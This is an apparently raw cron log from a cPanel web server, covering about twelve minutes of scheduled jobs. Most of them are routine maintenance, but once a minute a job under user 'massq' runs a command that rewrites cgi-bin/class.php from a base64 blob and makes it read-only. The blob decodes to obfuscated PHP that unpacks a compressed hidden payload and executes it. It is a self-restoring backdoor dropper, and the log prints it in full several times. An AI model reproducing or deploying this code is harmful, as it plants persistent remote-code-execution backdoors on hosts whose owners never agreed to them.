Sep  7 13:56:01 server CROND[5521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:56:01 server CROND[5522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:57:01 server CROND[5984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:57:01 server CROND[5985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:57:01 server CROND[5987]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:57:01 server CROND[5986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:58:01 server CROND[6414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:58:01 server CROND[6415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:58:01 server CROND[6416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:59:01 server CROND[6810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:59:01 server CROND[6811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 13:59:01 server CROND[6812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:00:01 server CROND[7207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:00:01 server CROND[7209]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 14:00:01 server CROND[7211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:00:01 server CROND[7215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:00:01 server CROND[7218]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:00:01 server CROND[7217]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 14:00:01 server CROND[7214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:00:01 server CROND[7213]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:00:01 server CROND[7219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:00:01 server CROND[7216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:01:01 server CROND[8075]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 14:01:01 server CROND[8076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:01:01 server CROND[8077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:01:01 server CROND[8078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:01:01 server run-parts(/etc/cron.hourly)[8075]: starting 0anacron
Sep  7 14:01:01 server run-parts(/etc/cron.hourly)[8096]: finished 0anacron
Sep  7 14:02:01 server CROND[8538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:02:01 server CROND[8539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:02:01 server CROND[8540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:03:01 server CROND[8969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:03:01 server CROND[8970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:03:01 server CROND[8971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:04:01 server CROND[9354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:04:01 server CROND[9355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:04:02 server CROND[9356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:05:01 server CROND[9822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:05:01 server CROND[9824]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 14:05:01 server CROND[9831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:05:01 server CROND[9840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:05:01 server CROND[9839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:05:01 server CROND[9843]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:05:01 server CROND[9838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:05:01 server CROND[9844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:05:01 server CROND[9837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:06:01 server CROND[10775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:06:01 server CROND[10776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:06:01 server CROND[10777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:07:01 server CROND[11153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:07:01 server CROND[11154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:07:01 server CROND[11155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
